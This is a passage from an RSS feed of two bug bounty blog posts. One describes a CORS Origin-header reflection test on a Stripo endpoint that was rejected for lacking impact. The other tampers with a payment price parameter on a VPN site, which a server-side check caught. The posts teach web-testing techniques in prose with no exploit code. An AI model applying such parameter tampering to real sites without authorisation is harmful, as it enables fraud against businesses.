etc.</blockquote><p>[This may raise some eyebrows about the actual definition of CORS, but please bear with me.]</p><p>Now, as far as the attack is concerned, you can see this video, which explains why the CORS miss-configuration is a vulnerability. <a href="https://www.youtube.com/watch?v=wgkj4ZgxI4c">https://www.youtube.com/watch?v=wgkj4ZgxI4c</a>. <em>Very insightful, watch that before you start reading further, actually watch it later, read the blog first.</em></p><p><a href="https://hackerone.com/stripo">Stripo</a> bug bounty program. Lets try our newly gained knowledge here.</p><p>So, in <strong>short to do an attack</strong>, you just<strong> add/edit</strong> a<strong> <em>Origin-paramter</em></strong> header in the request-body and check if that gets reflected back in<strong> <em>Access-Control-Allow-Origin-header</em></strong><em>. </em>If it does, congratulations, you have found yourself a bug.</p><p>So, lets check out this endpoint. <a href="https://my.stripo.email/cabinet/stripo-ws/v1/stripo-websocket/info?t=1587908666898%27,true">https://my.stripo.email/cabinet/stripo-ws/v1/stripo-websocket/info?t=1587908666898%27,true</a></p><p>Fire Burp, intercept the request -&gt; send it to repeater. Fire the request again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sH0GZGInkUECstk_73UPJQ.jpeg" /><figcaption>Before doing the exploitation.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_M4dDwglMruAn1WsXvJJA.jpeg" /><figcaption>After exploitation</figcaption></figure><p>Yeah! Yeah! We’ve found a legitimate error. What? feck? don’t you believe me? You saw the video right?, this is how it works? We’ve found a legit bug. Let’s create a POC(Proof Of Concept). (Google it up, how to make a CORS POC).</p><p><strong>Its very important to create a POC of every bug you find. Its a MUST!</strong></p><p>Now, I am being lazy, I am using someone else’s POC, and just posting the result. You should figure out, how to make yours.</p><blockquote>So, I wasn’t very mature when I was writing this blog post, you can use scripts from GitHub or even use <a href="https://bugpoc.com/">bugPOC</a> Another such example would be to use this on <a href="https://github.com/trustedsec/cors-poc">GitHub</a> [Edited 2022]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1U5xuOXPiHa7w56hnpmaw.jpeg" /><figcaption>POC for the bug.</figcaption></figure><p>A working POC, report it ASAP, earn some bounties. Thank me later.</p><p>yes, don’t you believe me?</p><p>yes. $$$$$</p><h3><strong>Well, well, well…….. Not so fast. Can you tell what went wrong? Like you found a valid bug? yet no bounty for you. Nope, Sorry, zero cash.</strong></h3><p>Lets take a closer look. Ask yourself this question how would you exploit this. As in, yes its a CORS miss-configuration, or is it?(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">Read this</a>, there is something called public and private APIs, read about them.) . Take a minute what can you possibly gain from this data about any user.</p><pre>{“entropy”:&lt;I missed this number in the screenshot, shit!&gt;,”origins”[“*:*”],”cookie_needed”:true,”websocket”:true}</pre><p>You can’t really do much about it, can you? But even if you have any doubts read this.</p><p><strong>Case 1</strong>: [#<a href="https://hackerone.com/reports/859688">859688</a>] -&gt; This is actually the failed report I just discussed above.</p><p>Did you get the gist? No? read the next report exploiting the similar bug, same scenario but different website.</p><p><strong>Case 2</strong>: <a href="https://hackerone.com/reports/733017">[#</a><a href="https://hackerone.com/reports/733017">733017</a><a href="https://hackerone.com/reports/733017">]</a> -&gt; Won’t be discussing this, but go through it. then come back here.</p><p>The only difference between both cases is that there was actually a business impact in case 2. A solid user compromising impact.</p><p>“I think in all cases it boils down to having business impact really. Bugs shouldn’t be reported just based on the technical aspect of it, you should make sure there’s a real impact to them” — dee-see</p><p><strong>Takeaways:</strong></p><p><strong>Your bugs should have a business impact as well, for them to be a valid bounty eligible bug!!</strong></p><ol><li>Always make a working POC of the bug you discover.</li><li>Read, Read and read lots of reports, this makes you understand mistakes and skills from other people. “Free ka Gyaan! batorle bhai” (translation: free knowledge, grab it! )</li><li>Community is there to help you.</li></ol><p>I hope you found this informative. Suggestions are welcome, and I will try to be more frequent. Next up would be <strong>.xmlrpc issue.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdc9f3103e9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty FAILsx101]]></title>
            <link>https://archerl.medium.com/bug-bounty-failsx101-843f5c31ed72?source=rss-2e90329b4b8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/843f5c31ed72</guid>
            <category><![CDATA[failed]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[AL]]></dc:creator>
            <pubDate>Mon, 23 Mar 2020 11:38:29 GMT</pubDate>
            <atom:updated>2020-03-25T10:01:14.725Z</atom:updated>
            <content:encoded><![CDATA[<p>This will be a series of bug bounty failures, I’ve encountered in my journey so far. Every one writes about how a successful bug bounty looks like, I will write on how a researcher encounters failures. So, let us begin.</p><p><strong><em>FAIL 1:</em></strong></p><p>So far, I have seen/done a few parameter manipulation and this one seemed legit to me, but turns out things run a lot deep.</p><p>So, while testing the <strong>VPN payment</strong> website, I encountered a payment gateway, here the transaction happened via cryptocurrency. Well, think about it, if you could get a 3 years worth subscription for no or 0.1$……, well I did. See the payment page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2h31v-nUCvn1n_jLKwmSw.jpeg" /></figure><p>This is where things get <strong>little technical, </strong>for my non-tech readers, see<strong> POST request </strong>is something which tells the server (a computer lets say, where the site is hosted and is connected to internet) what the user(web browser) wants, so I just tweaked it a little bit.</p><p>I fired up Burp suite (don’t know what it is, google it up, very simple to understand) and started to intercept the requests, and saw the price parameter (<strong><em>amountf</em></strong>) in the <strong>POST</strong> request.</p><p><strong>By this moment hackers start having their hacker tingle and so did I.</strong></p><p><strong>Why important? </strong>It’s because amount is something defined by the website and not by the user (well I mean you can influence it but not set it explicitly here in this case), so if you can change this parameter or tweak it, you can get things at cheaper price.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCvfppvIXKn0F6TBcholpQ.png" /></figure><p><strong>Try 1:</strong> Change the parameter to 0 and then forward the request.</p><p>Interesting the website blocks the requests and throws an error that <em>value should be a numeric value and &gt;0.</em></p><p><strong>Try 2:</strong> How about reducing the price? I mean anything is better than 125.64$, so I Change the parameter to 0.1 and then forward the request, <strong>and boom! </strong>request accepted, check the values, of the original total and now the tempered total.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ihnahSPfL-1P_HLVZnJfEA.png" /></figure><p>How original gateway would look</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*brifRklsOcbZ44WmNVdlOQ.png" /></figure><p>how it looked after the request manipulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*4Oh6W9IzfpbrOLT2CmXAXA.png" /></figure><p>Proceed to the final gateway and do the payment and now you have the three years worth the subscription of the <strong>VPN</strong> for 0.1 Dollars. <strong><em>pretty neat huh?</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-YIJNifcsVhJRv_3d_T5w.png" /></figure><p><strong>Well, well, well……. not so fast. Can you guess why is it a fail? even though you made a successful payment?</strong></p><p><em>“As it turns out the company employs a last check on their end which ensures whether or not a full amount of the services has been received by them.</em>” one of their security personal told me. In simple terms, even though you go through the transaction you won’t be getting the services, since you haven’t paid the full amount, a check which company ensure before registering you for their services. Like you paid 0.1$ and you will receive a mail saying, “<strong>Hmm no service to you</strong>” (its a joke, you won’t get an email with this text)</p><p><em>hmm.. not so neat now huh?</em></p><p>This might not be true for all the cases though, there are certain companies which might have such flaws and no background mechanism to check so.’</p><p>I hope you found this informative. Thanks.</p><p><a href="https://www.reddit.com/r/LiveOverflow/comments/fadkon/does_payment_parameter_manipulation_on_the/"><strong>Edit: </strong>You can read more discussion on this topic on the redidit page. https://www.reddit.com/r/LiveOverflow/comments/fadkon/does_payment_parameter_manipulation_on_the/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=843f5c31ed72" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>